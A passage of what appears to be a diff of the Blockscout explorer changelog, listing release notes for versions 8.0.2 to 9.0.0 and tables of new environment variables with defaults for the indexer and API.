| +| `MIGRATION_REINDEX_BLOCKS_WITH_MISSING_TRANSACTIONS_ENABLED` | Enable reindex blocks with missing transactions migration. Implemented in [#12559](https://github.com/blockscout/blockscout/pull/12559). |

Version: v9.0.0+
Default: false
Applications: Indexer

| +| `MIGRATION_MERGE_ADJACENT_MISSING_BLOCK_RANGES_BATCH_SIZE` | Specifies the missing block range batch size selected for the merge migration. Implemented in [#12778](https://github.com/blockscout/blockscout/pull/12778). |

Version: v9.0.0+
Default: 100
Applications: Indexer

| +| `API_RATE_LIMIT_CONFIG_URL` | URL to fetch API rate limit configuration from external source. Implemented in [#12386](https://github.com/blockscout/blockscout/pull/12386) |

Version: v9.0.0+
Default: (empty)
Applications: API

| +| `API_RATE_LIMIT_BY_KEY_TIME_INTERVAL` | Time interval for API rate limit by key. [Time format](backend-env-variables.md#time-format). Implemented in [#12386](https://github.com/blockscout/blockscout/pull/12386) |

Version: v9.0.0+
Default: 1s
Applications: API

| +| `API_RATE_LIMIT_BY_WHITELISTED_IP_TIME_INTERVAL` | Time interval for API rate limit by whitelisted IP. [Time format](backend-env-variables.md#time-format). Implemented in [#12386](https://github.com/blockscout/blockscout/pull/12386) |

Version: v9.0.0+
Default: 1s
Applications: API

| +| `API_RATE_LIMIT_UI_V2_WITH_TOKEN_TIME_INTERVAL` | Time interval for API rate limit for UI v2 with token. [Time format](backend-env-variables.md#time-format). Implemented in [#12386](https://github.com/blockscout/blockscout/pull/12386) |

Version: v9.0.0+
Default: 1s
Applications: API

| +| `API_RATE_LIMIT_BY_ACCOUNT_API_KEY_TIME_INTERVAL` | Time interval for API rate limit by account API key. [Time format](backend-env-variables.md#time-format). Implemented in [#12386](https://github.com/blockscout/blockscout/pull/12386) |

Version: v9.0.0+
Default: 1s
Applications: API

| +| `INDEXER_DISABLE_MULTICHAIN_SEARCH_DB_EXPORT_MAIN_QUEUE_FETCHER` | If `true`, multichain DB main (blocks, transactions, addresses) export fetcher doesn't run. Implemented in [#12377](https://github.com/blockscout/blockscout/pull/12377). |

Version: v9.0.0+
Default: false
Applications: Indexer

| +| `INDEXER_MULTICHAIN_SEARCH_DB_EXPORT_MAIN_QUEUE_BATCH_SIZE` | Batch size for multichain DB main (blocks, transactions, addresses) export fetcher. Implemented in [#12377](https://github.com/blockscout/blockscout/pull/12377). |

Version: v9.0.0+
Default: 1000
Applications: Indexer

| +| `INDEXER_MULTICHAIN_SEARCH_DB_EXPORT_MAIN_QUEUE_CONCURRENCY` | Concurrency for multichain DB main (blocks, transactions, addresses) export fetcher. Implemented in [#12377](https://github.com/blockscout/blockscout/pull/12377). |

Version: v9.0.0+
Default: 10
Applications: Indexer

| +| `INDEXER_MULTICHAIN_SEARCH_DB_EXPORT_MAIN_QUEUE_ENQUEUE_BUSY_WAITING_TIMEOUT` | Timeout before new attempt to append item to multichain DB main (blocks, transactions, addresses) export queue if it's full. [Time format](backend-env-variables.md#time-format). Implemented in [#12377](https://github.com/blockscout/blockscout/pull/12377). |

Version: v9.0.0+
Default: 1s
Applications: Indexer

| +| `INDEXER_MULTICHAIN_SEARCH_DB_EXPORT_MAIN_QUEUE_MAX_QUEUE_SIZE` | Maximum size of multichain DB main (blocks, transactions, addresses) export queue. Implemented in [#12377](https://github.com/blockscout/blockscout/pull/12377). |

Version: v9.0.0+
Default: 1000
Applications: Indexer

| +| `INDEXER_DISABLE_MULTICHAIN_SEARCH_DB_EXPORT_BALANCES_QUEUE_FETCHER` | If `true`, multichain DB balances export fetcher doesn't run. Implemented in [#12580](https://github.com/blockscout/blockscout/pull/12580). |

Version: v9.0.0+
Default: false
Applications: Indexer

| +| `INDEXER_MULTICHAIN_SEARCH_DB_EXPORT_BALANCES_QUEUE_BATCH_SIZE` | Batch size for multichain DB balances export fetcher. Implemented in [#12580](https://github.com/blockscout/blockscout/pull/12580). |

Version: v9.0.0+
Default: 1000
Applications: Indexer

| +| `INDEXER_MULTICHAIN_SEARCH_DB_EXPORT_BALANCES_QUEUE_CONCURRENCY` | Concurrency for multichain DB balances export fetcher. Implemented in [#12580](https://github.com/blockscout/blockscout/pull/12580). |

Version: v9.0.0+
Default: 10
Applications: Indexer

| +| `INDEXER_MULTICHAIN_SEARCH_DB_EXPORT_BALANCES_QUEUE_ENQUEUE_BUSY_WAITING_TIMEOUT` | Timeout before new attempt to append item to multichain DB balances export queue if it's full. [Time format](backend-env-variables.md#time-format). Implemented in [#12580](https://github.com/blockscout/blockscout/pull/12580). |

Version: v9.0.0+
Default: 1s
Applications: Indexer

| +| `INDEXER_MULTICHAIN_SEARCH_DB_EXPORT_BALANCES_QUEUE_MAX_QUEUE_SIZE` | Maximum size of multichain DB balances export queue. Implemented in [#12580](https://github.com/blockscout/blockscout/pull/12580). |

Version: v9.0.0+
Default: 1000
Applications: Indexer

| +| `INDEXER_POLYGON_ZKEVM_BATCHES_IGNORE` | Comma-separated list of batch numbers that should be ignored by the fetcher. Implemented in [#12387](https://github.com/blockscout/blockscout/pull/12387). |

Version: v9.0.0+
Default: (empty)
Applications: Indexer

| +| `INDEXER_OPTIMISM_MULTICHAIN_BATCH_SIZE` | Max number of items sent to the Multichain service in one batch. Implemented in [#12387](https://github.com/blockscout/blockscout/pull/12387). |

Version: v9.0.0+
Default: 100
Applications: Indexer

| +| `CELO_UNRELEASED_TREASURY_CONTRACT` | The address[^1] of the `CeloUnreleasedTreasury` core contract. Implemented in [#12373](https://github.com/blockscout/blockscout/pull/12373). |

Version: v9.0.0+
Default: (empty)
Applications: Indexer

| +| `CELO_VALIDATORS_CONTRACT` | The address[^1] of the `Validators` core contract. Implemented in [#12373](https://github.com/blockscout/blockscout/pull/12373). |

Version: v9.0.0+
Default: (empty)
Applications: Indexer

| +| `CELO_EPOCH_MANAGER_CONTRACT` | The address[^1] of the `EpochManager` core contract. Implemented in [#12373](https://github.com/blockscout/blockscout/pull/12373). |

Version: v9.0.0+
Default: (empty)
Applications: Indexer

| + +## 8.1.2 + +### ⚙️ Miscellaneous Tasks + +- Parsing L2 block number of OP Dispute Game on BOB chain ([#12831](https://github.com/blockscout/blockscout/pull/12831)) + +## 8.1.1 + +### 🐛 Bug Fixes + +- Add missing preload for logs in /api/v2/transactions/:transaction_hash_param/summary ([#12491](https://github.com/blockscout/blockscout/issues/12491)) + +## 8.1.0 + +### 🚀 Features + +- Add lower bound for base fee ([#12370](https://github.com/blockscout/blockscout/pull/12370)) +- Multichain Search DB export retry queue ([#12377](https://github.com/blockscout/blockscout/issues/12377)) +- Add TAC operation search ([#12367](https://github.com/blockscout/blockscout/issues/12367)) +- Add `internal_transactions_count` prop in api/v2/blocks/:block endpoint ([#12405](https://github.com/blockscout/blockscout/issues/12405)) + +### 🐛 Bug Fixes + +- Handle mismatched 0x prefixed bytes ([#12453](https://github.com/blockscout/blockscout/pull/12453)) +- Fix logs decoding issue for proxies ([#12414](https://github.com/blockscout/blockscout/issues/12414)) +- Refactor TokenInstanceMetadataRefetch on demand fetcher ([#12419](https://github.com/blockscout/blockscout/issues/12419)) +- Fix for type output in ETH RPC API transaction by hash endpoint +- Frozen confirmations discovery on Arbitrum Nova ([#12385](https://github.com/blockscout/blockscout/issues/12385)) +- Add prague Solidity EVM version ([#12115](https://github.com/blockscout/blockscout/issues/12115)) +- Fix :checkout_timeout error ([#12406](https://github.com/blockscout/blockscout/issues/12406)) +- Force index usage on select current token balances ([#12390](https://github.com/blockscout/blockscout/issues/12390)) +- Fix retrieving max block number in MissingRangesCollector ([#12333](https://github.com/blockscout/blockscout/issues/12333)) +- Start PubSub before Endpoint ([#12274](https://github.com/blockscout/blockscout/issues/12274)) +- Fix FunctionClauseError on internal transactions indexing ([#12246](https://github.com/blockscout/blockscout/issues/12246)) +- Support updated zkSync calldata format in batch proof tracking ([#12234](https://github.com/blockscout/blockscout/issues/12234)) +- On demand bytecode fetcher for eip7702 addresses ([#12330](https://github.com/blockscout/blockscout/issues/12330)) +- Handle pending operations for empty blocks as well ([#12349](https://github.com/blockscout/blockscout/issues/12349)) + +### 🚜 Refactor + +- Eliminate join with internal_transactions table to get list logs in API v1 ([#12352](https://github.com/blockscout/blockscout/issues/12352)) +- Define pending block operations by set of block hashes query ([#12375](https://github.com/blockscout/blockscout/issues/12375)) +- Move `address_to_internal_transactions/2` to `Explorer.Chain.InternalTransaction` module ([#12346](https://github.com/blockscout/blockscout/issues/12346)) +- Single definition of smart-contract internal creation transaction query ([#12335](https://github.com/blockscout/blockscout/issues/12335)) + +### ⚡ Performance + +- Force index usage in `api/v2/addresses/:hash/transactions` ([#12415](https://github.com/blockscout/blockscout/issues/12415)) + +### ⚙️ Miscellaneous Tasks + +- Add updated-gas-oracle to Access-Control-Allow-Headers ([#12473](https://github.com/blockscout/blockscout/pull/12473)) +- Add additional test for Universal proxy, duplicate all proxy endpoints at /3rdparty ([#12442](https://github.com/blockscout/blockscout/pull/12442)) +- Improve logic behind emerging of custom fields in the response of `eth_getTransactionByHash` ETH RPC API endpoint ([#12416](https://github.com/blockscout/blockscout/issues/12416)) +- Internal transactions unique index ([#12394](https://github.com/blockscout/blockscout/issues/12394)) +- Update blocks consensus in case of import failure ([#12243](https://github.com/blockscout/blockscout/issues/12243)) +- Sanitize ERC-1155 token balances without token ids ([#12305](https://github.com/blockscout/blockscout/issues/12305)) +- Support Celestia Alt-DA in OP batches indexer and Super Roots in OP withdrawals indexer ([#12332](https://github.com/blockscout/blockscout/issues/12332)) +- Send DB read queries to replica in on-demand fetchers ([#12383](https://github.com/blockscout/blockscout/issues/12383)) + +### New ENV variables + +| Variable | Description | Parameters | +| --------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------- | +| `HACKNEY_DEFAULT_POOL_SIZE` | Size of `default` hackney pool. Implemented in [#12406](https://github.com/blockscout/blockscout/pull/12406). |

Version: v8.1.0+
Default: 1000
Applications: API, Indexer

| +| `MIGRATION_REINDEX_DUPLICATED_INTERNAL_TRANSACTIONS_BATCH_SIZE` | Number of internal transactions to reindex in the batch. Implemented in [#12394](https://github.com/blockscout/blockscout/pull/12394). |

Version: v8.1.0+
Default: 100
Applications: Indexer

| +| `MIGRATION_REINDEX_DUPLICATED_INTERNAL_TRANSACTIONS_CONCURRENCY` | Number of parallel reindexing internal transaction batches processing. Implemented in [#12394](https://github.com/blockscout/blockscout/pull/12394). |

Version: v8.1.0+
Default: 1
Applications: Indexer

| +| `MIGRATION_REINDEX_DUPLICATED_INTERNAL_TRANSACTIONS_TIMEOUT` | Timeout between reindexing internal transaction batches processing. Implemented in [#12394](https://github.com/blockscout/blockscout/pull/12394). |

Version: v8.1.0+
Default: 0
Applications: Indexer

| +| `INDEXER_SCROLL_L1_BATCH_BLOCKSCOUT_BLOBS_API_URL` | Defines a URL to Blockscout Blobs API to retrieve L1 blobs from that. Example for Sepolia: `https://eth-sepolia.blockscout.com/api/v2/blobs`. Implemented in [#12294](https://github.com/blockscout/blockscout/pull/12294). |

Version: v8.1.0+
Default: (empty)
Applications: Indexer

| +| `MICROSERVICE_MULTICHAIN_SEARCH_ADDRESSES_CHUNK_SIZE` | Chunk size of addresses while exporting to Multichain Search DB. Implemented in [#12377](https://github.com/blockscout/blockscout/pull/12377) |

Version: v8.1.0+
Default: (empty)
Applications: API, Indexer

| +| `INDEXER_DISABLE_MULTICHAIN_SEARCH_DB_EXPORT_RETRY_FETCHER` | If `true`, `retry` multichain search export fetcher doesn't run. Implemented in [#12377](https://github.com/blockscout/blockscout/pull/12377). |

Version: v8.1.0+
Default: false
Applications: Indexer

| +| `INDEXER_MULTICHAIN_SEARCH_DB_EXPORT_RETRY_BATCH_SIZE` | Batch size for `retry` multichain search export fetcher. Implemented in [#12377](https://github.com/blockscout/blockscout/pull/12377). |

Version: v8.1.0+
Default: 10
Applications: Indexer

| +| `INDEXER_MULTICHAIN_SEARCH_DB_EXPORT_RETRY_CONCURRENCY` | Concurrency for `retry` multichain search export fetcher. Implemented in [#12377](https://github.com/blockscout/blockscout/pull/12377). |

Version: v8.1.0+
Default: 10
Applications: Indexer

| +| `INDEXER_MULTICHAIN_SEARCH_DB_EXPORT_RETRY_ENQUEUE_BUSY_WAITING_TIMEOUT` | Timeout before new attempt to append item to `retry` multichain search export queue if it's full. [Time format](backend-env-variables.md#time-format). Implemented in [#12377](https://github.com/blockscout/blockscout/pull/12377). |

Version: v8.1.0+
Default: 1s
Applications: Indexer

| +| `INDEXER_MULTICHAIN_SEARCH_DB_EXPORT_RETRY_MAX_QUEUE_SIZE` | Maximum size of `retry` multichain search export queue. Implemented in [#12377](https://github.com/blockscout/blockscout/pull/12377). |

Version: v8.1.0+
Default: 1000
Applications: Indexer

| + + +## 8.0.2 + +### 🚀 Features + +- Rate limiter for on-demand fetchers ([#12218](https://github.com/blockscout/blockscout/issues/12218)) +- Add average batch time (L2) to prometheus metrics ([#12217](https://github.com/blockscout/blockscout/issues/12217)) +- Contract creation tx block number binary search ([#10530](https://github.com/blockscout/blockscout/issues/10530)) +- Enhance health endpoint logic: track L2-rollup batches health ([#11888](https://github.com/blockscout/blockscout/issues/11888)) +- Universal API Proxy ([#12119](https://github.com/blockscout/blockscout/issues/12119)) +- Add sorting by tx count and balance to `/api/v2/addresses` ([#12168](https://github.com/blockscout/blockscout/issues/12168)) +- Support OP interop messages ([#11903](https://github.com/blockscout/blockscout/issues/11903)) +- Store and validate metadata_url ([#12102](https://github.com/blockscout/blockscout/issues/12102)) +- Captcha scoped bypass token for token instance metadata refetch ([#12147](https://github.com/blockscout/blockscout/issues/12147)) +- Add filter by `type` and `call_type` to `/api/v2/blocks/{:block_hash}/internal-transactions` ([#11968](https://github.com/blockscout/blockscout/issues/11968)) +- ERC-7760 proxy type support ([#12057](https://github.com/blockscout/blockscout/issues/12057)) +- Extend scam tokens feature on other endpoints ([#11975](https://github.com/blockscout/blockscout/issues/11975)) +- JSON RPC metrics ([#12070](https://github.com/blockscout/blockscout/issues/12070)) +- Add search by transaction hash capability at api/v2/internal-transactions endpoint ([#12025](https://github.com/blockscout/blockscout/issues/12025)) +- Add ENS and metadata preload to /api/v2/proxy/metadata/addresses ([#11962](https://github.com/blockscout/blockscout/issues/11962)) +- Zilliqa stakers API ([#11615](https://github.com/blockscout/blockscout/issues/11615)) +- Refine setting of certified flag on smart-contracts ([#11855](https://github.com/blockscout/blockscout/issues/11855)) +- Add PendingTransactionOperation ([#11157](https://github.com/blockscout/blockscout/issues/11157)) +- Allow from_period and to_period to be timestamps in CSV export functionality ([#11862](https://github.com/blockscout/blockscout/issues/11862)) +- Add support of ResolvedDelegateProxy proxy pattern ([#11720](https://github.com/blockscout/blockscout/issues/11720)) + +### 🐛 Bug Fixes + +- Fix Indexer.Helper.http_get_request function ([#12317](https://github.com/blockscout/blockscout/pull/12317)) +- Rename left props in API v2 with new naming convention ([#12314](https://github.com/blockscout/blockscout/issues/12314)) +- Temporary disable PendingTransactionOperation ([#12312](https://github.com/blockscout/blockscout/issues/12312)) +- Add `bash` to `builder-deps` build stage ([#12316](https://github.com/blockscout/blockscout/issues/12316)) +- Build on macos ([#12308](https://github.com/blockscout/blockscout/issues/12308)) +- Fix MissingBlockRange.fill_ranges_between/3 for empty range ([#12319](https://github.com/blockscout/blockscout/pull/12319)) +- Fix CSV export "to" range to include the whole day in all cases ([#12286](https://github.com/blockscout/blockscout/pull/12286)) +- Return compatibility with previous version of health endpoint([#12280](https://github.com/blockscout/blockscout/pull/12280)) +- Unbind import from compile-time chain_type ([#12277](https://github.com/blockscout/blockscout/pull/12277)) +- Read `CHAIN_TYPE` and `MUD_INDEXER_ENABLED` envs in runtime config ([#12270](https://github.com/blockscout/blockscout/issues/12270)) +- Limit max import concurrency ([#12261](https://github.com/blockscout/blockscout/pull/12261)) +- CSV export: download items for the given day if from / to period are equal ([#12260](https://github.com/blockscout/blockscout/pull/12260)) +- Upgrade missing balanceOf token condition ([#12254](https://github.com/blockscout/blockscout/pull/12254)) +- Add missing load of health_latest_batch_average_time_from_db ([#12240](https://github.com/blockscout/blockscout/pull/12240)) +- Handle unconfigured coin fetcher ETS access ([#12228](https://github.com/blockscout/blockscout/pull/12228)) +- Negate condition for language check in solidityscan controller ([#12222](https://github.com/blockscout/blockscout/pull/12222)) +- Look up sources for partially verified smart contracts ([#12221](https://github.com/blockscout/blockscout/pull/12221)) +- BufferedTask-based approach for fetching Arbitrum-specific settlement info ([#12192](https://github.com/blockscout/blockscout/pull/12192)) +- Contract creation transaction associations and bytecode twin detection ([#12086](https://github.com/blockscout/blockscout/issues/12086)) +- Improve background migrations + new `Indexer.Migrator.RecoveryWETHTokenTransfers` ([#12065](https://github.com/blockscout/blockscout/issues/12065)) +- Update docker cache references to use ghcr.io ([#12178](https://github.com/blockscout/blockscout/issues/12178)) +- Add blob and authorization list info to ETH RPC API ([#12150](https://github.com/blockscout/blockscout/issues/12150)) +- Fix Stability web test ([#12171](https://github.com/blockscout/blockscout/issues/12171)) +- Fix Rootstock failed tests ([#12169](https://github.com/blockscout/blockscout/issues/12169)) +- Unify Block Range Collector behavior for undefined and single range ([#12153](https://github.com/blockscout/blockscout/issues/12153)) +- Signed_authorizations table migrate nonce to numeric(20,0) ([#12157](https://github.com/blockscout/blockscout/issues/12157)) +- Refactor smart-contract API v2 endpoint output ([#12076](https://github.com/blockscout/blockscout/issues/12076)) +- Managing gas usage sum cache and address count cache ([#12149](https://github.com/blockscout/blockscout/issues/12149)) +- Web3 wallet login on Rootstock ([#12121](https://github.com/blockscout/blockscout/issues/12121)) +- Refactor a query to get missing confirmation for Arbitrum blocks ([#11914](https://github.com/blockscout/blockscout/issues/11914)) +- Fix error in old UI ([#12112](https://github.com/blockscout/blockscout/issues/12112)) +- OnDemand fetchers memory consumption for api mode ([#12082](https://github.com/blockscout/blockscout/issues/12082)) +- Implement DA record deduplication for Arbitrum batch processing ([#12095](https://github.com/blockscout/blockscout/issues/12095)) +- Empty contract code addresses ([#12023](https://github.com/blockscout/blockscout/issues/12023)) +- Unify response for single and batch 1155 transfer in RPC API ([#12083](https://github.com/blockscout/blockscout/issues/12083)) +- Is_verified for verified eip7702 proxies ([#12033](https://github.com/blockscout/blockscout/issues/12033)) +- Recovered functionality of Arbitrum batch fetcher ([#12059](https://github.com/blockscout/blockscout/issues/12059)) +- Fix flaking test ([#12013](https://github.com/blockscout/blockscout/issues/12013)) +- Confirmations of Arbitrum blocks near genesis ([#11790](https://github.com/blockscout/blockscout/issues/11790)) +- Fix finding of first block to index ([#11875](https://github.com/blockscout/blockscout/issues/11875)) +- Async fetch internal transactions from reindex migration ([#11959](https://github.com/blockscout/blockscout/issues/11959)) +- Fix Indexer.Fetcher.ContractCode unhandled error ([#11873](https://github.com/blockscout/blockscout/issues/11873)) + +### 🚜 Refactor + +- Consistency with the core application in properties namings in rollups-related API endpoints ([#12055](https://github.com/blockscout/blockscout/issues/12055)) +- Refactor market related code ([#11844](https://github.com/blockscout/blockscout/pull/11844)) + +### ⚡ Performance + +- Optimize watchlist query ([#12264](https://github.com/blockscout/blockscout/pull/12264)) +- Add index for slow `/api/v2/addresses?sort=transactions_count&order=asc` ([#12230](https://github.com/blockscout/blockscout/pull/12230)) +- `/api/v2/smart-contracts` endpoint ([#12060](https://github.com/blockscout/blockscout/issues/12060)) +- Optimize query for user token transfers list filtered by token ([#12039](https://github.com/blockscout/blockscout/issues/12039)) +- Improve watchlist rendering performance ([#11999](https://github.com/blockscout/blockscout/issues/11999)) + +### ⚙️ Miscellaneous Tasks + +- Add Scroll Euclid upgrade support ([#12294](https://github.com/blockscout/blockscout/issues/12294)) +- Decrease PBO to PTO migration batch size ([#12279](https://github.com/blockscout/blockscout/pull/12279)) +- Decrease PendingOperationsHelper blocks_batch_size ([#12276](https://github.com/blockscout/blockscout/pull/12276)) +- Update docker compose to use ghcr.io images ([#12177](https://github.com/blockscout/blockscout/issues/12177)) +- Add typed_ecto_schema to release ([#12255](https://github.com/blockscout/blockscout/pull/12255)) +- Suppress logging for expected 404 errors in account abstraction ([#12242](https://github.com/blockscout/blockscout/pull/12242)) +- Upgrade on demand balances fetchers ([#12104](https://github.com/blockscout/blockscout/pull/12104)) +- Migrate images to ghcr.io ([#12128](https://github.com/blockscout/blockscout/issues/12128)) +- Don't send transaction interpretation request for failed tx ([#12164](https://github.com/blockscout/blockscout/issues/12164)) +- Move `redstone` chain type to runtime ([#12124](https://github.com/blockscout/blockscout/issues/12124)) +- Move `DISABLE_INDEXER` option to runtime ([#12139](https://github.com/blockscout/blockscout/issues/12139)) +- Drop transactions index duplicates ([#12144](https://github.com/blockscout/blockscout/issues/12144)) +- CDN improvement: batch DB upsert ([#11918](https://github.com/blockscout/blockscout/issues/11918)) +- Partially move chain types to runtime ([#12114](https://github.com/blockscout/blockscout/issues/12114)) +- Chain counters refactoring and setup persistency for global counters in the DB ([#11849](https://github.com/blockscout/blockscout/issues/11849)) +- Remove legacy decompiled contracts API ([#11998](https://github.com/blockscout/blockscout/issues/11998)) +- Eliminate intercept for V2 socket channels ([#12003](https://github.com/blockscout/blockscout/issues/12003)) +- Treat `SHRINK_INTERNAL_TRANSACTIONS_ENABLED` as runtime env ([#12110](https://github.com/blockscout/blockscout/issues/12110)) +- Docker compose reduce env output ([#12111](https://github.com/blockscout/blockscout/issues/12111)) +- Replaced the link to the blockscout badge ([#12106](https://github.com/blockscout/blockscout/issues/12106)) +- Remove default JSON RPC endpoint ([#12071](https://github.com/blockscout/blockscout/issues/12071)) +- Remove token object from API v2 api/v2/tokens/:hash/holders endpoint ([#12022](https://github.com/blockscout/blockscout/issues/12022)) +- Remove Read/Write smart-contract API v2 endpoints ([#12026](https://github.com/blockscout/blockscout/issues/12026)) +- Use DB replica, if it's enabled, for proxy-related queries ([#12020](https://github.com/blockscout/blockscout/issues/12020)) +- Ganache -> Anvil JSON RPC Variant ([#12066](https://github.com/blockscout/blockscout/issues/12066)) +- Remove `is_vyper_contract` from the `/api/v2/smart-contracts/{address_hash}` endpoint response ([#11823](https://github.com/blockscout/blockscout/issues/11823)) +- Eliminate warnings in `epoch_logs.ex` ([#12027](https://github.com/blockscout/blockscout/issues/12027)) +- Migrate to `language` enum field in `smart_contracts` table ([#11813](https://github.com/blockscout/blockscout/issues/11813)) +- Fetch epoch logs and rewards until `CELO_L2_MIGRATION_BLOCK` ([#11949](https://github.com/blockscout/blockscout/issues/11949)) +- GraphQL introspection plug ([#11843](https://github.com/blockscout/blockscout/issues/11843)) +- Remove duplicate endpoints for 3d party proxies ([#11940](https://github.com/blockscout/blockscout/issues/11940)) +- Limit number of implementations proxy before insertion into the DB ([#11882](https://github.com/blockscout/blockscout/issues/11882)) + +### New ENV variables + +| Variable | Description | Parameters | +| --------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------- | +| `HEALTH_MONITOR_CHECK_INTERVAL` | Interval between health stats collection. [Time format](backend-env-variables.md#time-format). Implemented in [#11888](https://github.com/blockscout/blockscout/pull/11888/) |

Version: v8.0.0+
Default: 1m
Applications: API, Indexer

| +| `HEALTH_MONITOR_BLOCKS_PERIOD` | New blocks indexed max delay in /health API endpoint. [Time format](backend-env-variables.md#time-format). Implemented in [#11888](https://github.com/blockscout/blockscout/pull/11888/) |

Version: v8.0.0+
Default: 5m
Applications: API, Indexer

| +| `HEALTH_MONITOR_BATCHES_PERIOD` | New batches indexed max delay in /health API endpoint. [Time format](backend-env-variables.md#time-format). Implemented in [#11888](https://github.com/blockscout/blockscout/pull/11888/) |

Version: v8.0.0+
Default: 4h
Applications: API, Indexer

| +| `INDEXER_TOKEN_INSTANCE_CIDR_BLACKLIST` | List of IP addresses in CIDR format to block when fetching token instance metadata. Example: `"0.0.0.0/32,192.168.0.0/16"`. Implemented in [#12102](https://github.com/blockscout/blockscout/pull/12102). |

Version: v8.0.0+
Default: (empty)
Applications: Indexer

| +| `INDEXER_TOKEN_INSTANCE_HOST_FILTERING_ENABLED` | If `false`, the URL from which metadata is fetched will not be resolved to an IP address, and the IP address will not be checked against the blacklist. Implemented in [#12102](https://github.com/blockscout/blockscout/pull/12102). |

Version: v8.0.0+
Default: true
Applications: Indexer

| +| `INDEXER_TOKEN_INSTANCE_ALLOWED_URI_PROTOCOLS` | List of allowed URI protocols (schemes) for requests when fetching token instance metadata. Implemented in [#12102](https://github.com/blockscout/blockscout/pull/12102). |

Version: v8.0.0+
Default: http,https
Applications: Indexer

| +| `MIGRATION_SMART_CONTRACT_LANGUAGE_DISABLED` | If set to `true`, the migration to the `language` field in the `smart_contracts` table will not start. If set to `false`, the migration proceeds as normal. Implemented in [#11813](https://github.com/blockscout/blockscout/pull/11813). |

Version: v8.0.0+
Default: false
Applications: Indexer

| +| `MIGRATION_SMART_CONTRACT_LANGUAGE_BATCH_SIZE` | Defines the number of records to be processed in each batch when migrating the `language` field in the `smart_contracts` table. Implemented in [#11813](https://github.com/blockscout/blockscout/pull/11813). |

Version: v8.0.0+
Default: 100
Applications: Indexer

| +| `MIGRATION_SMART_CONTRACT_LANGUAGE_CONCURRENCY` | Specifies how many concurrent processes can handle the `language` field migration. Implemented in [#11813](https://github.com/blockscout/blockscout/pull/11813). |

Version: v8.0.0+
Default: 1
Applications: Indexer

| +| `MIGRATION_BACKFILL_METADATA_URL_DISABLED` | If set to `true`, the backfiller of `metadata_url` field in the `token_instances` table will not start. If set to `false`, the migration proceeds as normal. Implemented in [#12102](https://github.com/blockscout/blockscout/pull/12102). |

Version: v8.0.0+
Default: false
Applications: Indexer

| +| `MIGRATION_BACKFILL_METADATA_URL_BATCH_SIZE` | Defines the number of records to be processed in each batch when backfilling the `metadata_url` field in the `token_instances` table. Implemented in [#12102](https://github.com/blockscout/blockscout/pull/12102). |

Version: v8.0.0+
Default: 100
Applications: Indexer

| +| `MIGRATION_BACKFILL_METADATA_URL_CONCURRENCY` | Specifies how many concurrent processes can handle the `metadata_url` field backfilling. Implemented in [#12102](https://github.com/blockscout/blockscout/pull/12102). |

Version: v8.0.0+
Default: 5
Applications: Indexer

| +| `MIGRATION_RECOVERY_WETH_TOKEN_TRANSFERS_CONCURRENCY` | Specifies how many concurrent processes can handle the recovery WETH token transfers migration. Implemented in [#12065](https://github.com/blockscout/blockscout/pull/12065). |

Version: v8.0.0+
Default: 5
Applications: Indexer

| +| `MIGRATION_RECOVERY_WETH_TOKEN_TRANSFERS_BATCH_SIZE` | Defines the number of records to be processed in each batch when recovery WETH token transfers. Implemented in [#12065](https://github.com/blockscout/blockscout/pull/12065). |

Version: v8.0.0+
Default: 50
Applications: Indexer

| +| `MIGRATION_RECOVERY_WETH_TOKEN_TRANSFERS_TIMEOUT` | Defines the timeout between processing each batch (`batch_size` * `concurrency`) in the recovery WETH token transfers migration. Follows the [time format](backend-env-variables.md#time-format). Implemented in [#12065](https://github.com/blockscout/blockscout/pull/12065). |

Version: v8.0.0+
Default: 0s
Applications: Indexer

| +| `MIGRATION_RECOVERY_WETH_TOKEN_TRANSFERS_BLOCKS_BATCH_SIZE` | Specifies the block range size selected for the recovery of WETH token transfer migration. Implemented in [#12065](https://github.com/blockscout/blockscout/pull/12065). |

Version: v8.0.0+
Default: 100000
Applications: Indexer

| +| `MIGRATION_RECOVERY_WETH_TOKEN_TRANSFERS_HIGH_VERBOSITY` | If set to `true`, enables high verbosity logging (logs each transaction hash, where missed transfers were restored) during the recovery of WETH token transfer migration. Implemented in [#12065](https://github.com/blockscout/blockscout/pull/12065). |

Version: v8.0.0+
Default: true
Applications: Indexer

| +| `CACHE_ADDRESS_COUNT_PERIOD` | Interval for restarting the task that calculates the total number of addresses. |

Version: v8.0.0+
Default: 30m
Applications: API, Indexer

| +| `RE_CAPTCHA_TOKEN_INSTANCE_REFETCH_METADATA_SCOPED_BYPASS_TOKEN` | API key that allows to skip reCAPTCHA check for requests to `/api/v2/tokens/{token_hash}/instances/{token_id}/refetch-metadata` endpoint. Implemented in [#12147](https://github.com/blockscout/blockscout/pull/12147) |

Version: v8.0.0+
Default: (empty)
Applications: API

| +| `INDEXER_ARBITRUM_BATCHES_TRACKING_FAILURE_THRESHOLD` | The time threshold for transaction batch monitoring tasks. If a task has not run successfully within this threshold, it is marked as failed and enters a cooldown period before retrying. Implemented in [#12192](https://github.com/blockscout/blockscout/pull/12192). |

Version: v8.0.0+
Default: 10m
Applications: Indexer

| +| `RATE_LIMITER_REDIS_URL` | Redis DB URL for rate limiter. Implemented in [#12218](https://github.com/blockscout/blockscout/pull/12218) |

Version: v8.0.0+
Default: (empty)
Applications: API

| +| `RATE_LIMITER_ON_DEMAND_TIME_INTERVAL` | Time interval of rate limit for on-demand fetchers. Implemented in [#12218](https://github.com/blockscout/blockscout/pull/12218) |

Version: v8.0.0+
Default: 5s
Applications: API

| +| `RATE_LIMITER_ON_DEMAND_LIMIT_BY_IP` | Rate limit for an IP address for on-demand fetcher call. Implemented in [#12218](https://github.com/blockscout/blockscout/pull/12218) |

Version: v8.0.0+
Default: 100
Applications: API

| +| `RATE_LIMITER_ON_DEMAND_EXPONENTIAL_TIMEOUT_COEFF` | Coefficient to calculate exponential timeout for on-demand rate limit. Implemented in [#12218](https://github.com/blockscout/blockscout/pull/12218) |

Version: v8.0.0+
Default: 100
Applications: API

| +| `RATE_LIMITER_ON_DEMAND_MAX_BAN_INTERVAL` | Max time an IP address can be banned from on-demand fetcher calls. Implemented in [#12218](https://github.com/blockscout/blockscout/pull/12218) |

Version: v8.0.0+
Default: 1h
Applications: API

| +| `RATE_LIMITER_ON_DEMAND_LIMITATION_PERIOD` | Time after which the number of bans for the IP address will be reset. Implemented in [#12218](https://github.com/blockscout/blockscout/pull/12218) |

Version: v8.0.0+
Default: 1h
Applications: API

